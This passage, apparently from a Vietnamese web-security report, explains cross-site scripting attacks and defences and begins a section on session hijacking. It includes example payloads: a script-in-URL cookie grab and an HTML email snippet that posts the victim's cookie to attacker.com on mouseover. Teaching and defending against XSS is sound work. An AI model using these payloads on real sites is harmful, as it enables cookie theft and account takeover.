Hacker sẽ lợi dụng sự kiểm tra lỏng lẻo từ ứng dụng và hiểu biết hạn chế của người dùng cũng như biết đánh vào sự tò mò của họ dẫn đến người dùng bị mất thông tin một cách dễ dàng Hacker thực hiện tấn công XSS bằng cách chèn vào các Website động (ASP, PHP, CGI, JSP, ) những thẻ HTML hay những đoạn mã script nguy hiểm
có thể gây hại cho những người sử dụng khác
Thông thường hacker lợi dụng địa chỉ URL để đưa ra những liên kết là tác nhân kích hoạt những đoạn chương trình nguy hiểm được chèn vào, hầu hết được viết bằng các Client-Site Script như JavaScript, Jscript và cũng có thể là cả các thẻ HTML,… được thực thi trên chính trình duyệt của nạn nhân
Ví dụ 1: Hacker thường gắn thêm đoạn mã độc vào URL của Website và gởi đến nạn nhân, nếu nạn nhân truy cập URL đó thì sẽ bị dính mã độc
http://example.com/search.cgi?query=<script>alert(document.cookie);</script>
Lợi dụng cách truyền tham số trên URL mà hacker có thể dễ dàng thêm vào đoạn
mã đánh cắp cookie Điều này xảy ra do ta không chú ý điều kiện lọc input từ URL của Website
Ví dụ 2: Trường hợp mở các bức thư mà không hề cảnh giác với XSS Chỉ cần với một đoạn mã HTML gửi trong thư thì đã hoàn toàn bị mất cookie của mình:
Khi nhận thư, nếu vô tình người dùng đưa con chuột qua bức ảnh gửi kèm thì cũng
có nghĩa là đã bị lấy mất cookie Và với cookie lấy được, các hacker có thể dễ dàng login hòm thư của người sử dụng này
Trang 15<form action="http://attacker.com/save.asp" method="post" name="XSS">
<input type="hidden" name="cookie">
</form>
<img border="0" onmouseover ="window.document XSS.cookie.value =
document.cookie; window.document XSS.submit();" src="anh.jpg">
Nhưng thực sự thì có rất nhiều cách để thêm đoạn mã JavaScript với mục đích tấn công kiểu XSS Hacker có thể dễ dàng lợi dụng Document Object Model (DOM) để thay đổi ngữ cảnh và nội dụng Web ứng dụng Một vài loại thẻ có thể chèn đoạn mã:
<link rel="stylesheet" type="text/css" href="javascript:[code]" />
Phần in đậm là phần có thể đặt đoạn mã đánh cắp thông tin
Nếu như các kỹ thuật tấn công khác có thể làm thay đổi được dữ liệu nguồn của Web server (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với Website ở phía client mà nạn nhân trực tiếp là những người khách duyệt site đó
Đôi khi các hacker cũng sử dụng kỹ thuật này đề phá hoại các Website nhưng đó vẫn chỉ tấn công vào bề mặt của Website XSS là những Client-Side Script, những đoạn mã này sẽ chỉ chạy bởi trình duyệt phía client do đó XSS không làm ảnh hưởng đến hệ thống Website nằm trên server
Mục tiêu tấn công của XSS không ai khác chính là những người sử dụng khác của Website, khi họ vô tình vào các trang có chứa các đoạn mã nguy hiểm do các hacker
để lại họ có thể bị chuyển tới các Website khác, đặt lại homepage, hay mất mật khẩu, mất cookie, hay có thể sẽ bị cài các loại virus, backdoor, worm,…
2.2 Phương pháp tấn công XSS truyền thống
Như đã biết, cookie là phần thông tin mà ứng dụng có thể lưu trên đĩa cứng của người sử dụng Nhưng chỉ các ứng dụng thiết lập ra cookie thì mới có thể đọc nó Do
đó chỉ khi người dùng đang trong phiên làm việc của ứng dụng thì hacker mới có cơ hội đánh cắp cookie Công việc đầu tiên của hacker là tìm trang đích để dụ người dùng đăng nhập sau khi đã tìm ra lỗ hổng trên ứng dụng đó
Trang 16Hình 2.2 Quá trình thực hiện XSS
- Bước 1: Hacker biết được người dùng đang chạy một ứng dụng Web có lỗ hổng
XSS
- Bước 2: Người dùng nhận được một liên kết thông qua email hay trên chính trang
Web (như banner, link,…) Thông thường, hacker khiến người dùng chú ý bằng những câu kích thích sự tò mò của người dùng như “Kiểm tra tài khoản của bạn”, “Quà tặng hấp dẫn”,
- Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu,…) về máy chủ đã
chuẩn bị trước của hacker
- Bước 4: Hacker đã tạo một đoạn mã hay chương trình hoặc một trang Web để ghi
nhận những thông tin đã đánh cắp vào một tập tin
- Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để thâm
nhập vào tài khoản của người dùng
2.3 Cách phòng ngừa
Như đã biết, một tấn công XSS chỉ thực hiện được khi gửi một trang Web cho trình duyệt Web của nạn nhân có kèm theo mã script độc của kẻ tấn công Vì vậy những nhà phát triển có thể bảo vệ ứng dụng Web khỏi bị lợi dụng thông qua những tấn công XSS này, đảm bảo những trang phát sinh động không chứa các tag của script bằng cách lọc và xác nhận hợp lý các dữ liệu đầu vào từ phía người dùng hoặc mã hóa (endcoding) và lọc các giá trị xuất cho người dùng
•Lọc, xác nhận tính hợp lý
Luôn luôn lọc các dữ liệu nhập từ phía người dùng bằng cách lọc các ký tự đặc biệt, dấu nháy đơn kép, ký tự Null,… được định nghĩa trong đặc tả của HTML Mỗi trường nhập liệu bao gồm cả tham số liên kết sẽ được kiểm tra để phát hiện các thẻ script Hiện tại có khá nhiều bộ lọc để ta lựa chọn (như bộ thư viện viết bằng PHP cho phép filter HTML để ngăn chặn kẻ xấu post mã độc XSS thông qua Website, đó là HTML Purifier Website: http://htmlpurifier.org)
•Mã hóa
Người dùng
Đoạn mã được phân phối
qua email hay trang web
Ứng dụng web File ghi thông tin đánh cắp được
Thông tin người dùng được lấy về
1
4 5
Trang 17Lỗi XSS có thể tránh được khi máy chủ Web đảm bảo những trang phát sinh được mã hóa thích hợp để ngăn việc chạy các script không mong muốn Mã hóa phía máy chủ là một tiến trình mà tất cả nội dung phát sinh động sẽ đi qua một hàm
mã hóa nơi mà các thẻ script sẽ được thay thể bởi mã của nó Việc mã hóa được khuyến khích sử dụng vì nó không yêu cầu phải đưa ra quyết định những kí tự nào
là hợp lệ hoặc không hợp lệ Tuy nhiên việc mã hóa tất cả dữ liệu có thể tốn tài nguyên và ảnh hưởng đến khả năng thực thi của máy chủ
•Người dùng
Người sử dụng cần cấu hình lại trình duyệt để được nhắc nhở có cho thực thi ngôn ngữ kịch bản trên máy của họ hay không? Tùy vào mức độ tin cậy mà người dùng sẽ quyết định
Kỹ thuật XSS khá phổ biến và dễ dàng áp dụng, tuy nhiên mức độ thiệt hại chỉ dừng lại ở mức độ tấn công trên máy nạn nhân Vì thế, ngoài việc ứng dụng kiểm tra tính đúng đắn của dữ liệu thì việc cần nhất là người dùng nên cảnh giác trước khi bước vào một trang Web mới Có thể nói, nhờ vào sự cảnh giác của người dùng thì 90% đã đạt được sự bảo mật trong kỹ thuật này
3 CHIẾM HỮU PHIÊN LÀM VIỆC (SESSION MANAGEMENT)
3.1 Tổng quan về Session ID
Như đã đề cập, session dùng để lưu trữ trạng thái làm việc giữa trình duyệt và trình chủ Session ID có thể được lưu trữ trong cookie hay được nhúng vào địa chỉ URL hay
trong biến ẩn của form Mỗi kiểu lưu trữ đều có ưu và khuyết điểm, nhưng qua thực tế
cookie vẫn là lựa chọn tốt nhất, và là phương pháp an toàn nhất
Thông thường, sau khi người dùng được chứng thực dựa trên những thông tin cá nhân như tên / mật khẩu, session ID được xem như một mật khẩu tĩnh tạm thời cho những lần yêu cầu tiếp theo Điều này đã khiến cho session ID là mục tiêu lớn cho những hacker Trong nhiều trường hợp, hacker giành được session ID hợp lệ của người dùng để từ đó đột nhập vào phiên làm việc của họ
XSS cũng là một cách tấn công có thể chiếm được session ID lưu trữ trong cookie
Cách tấn công này gọi là “session hijacking”.
Tấn công vào một phiên làm việc thường được thực hiện theo 2 kiểu chính sau: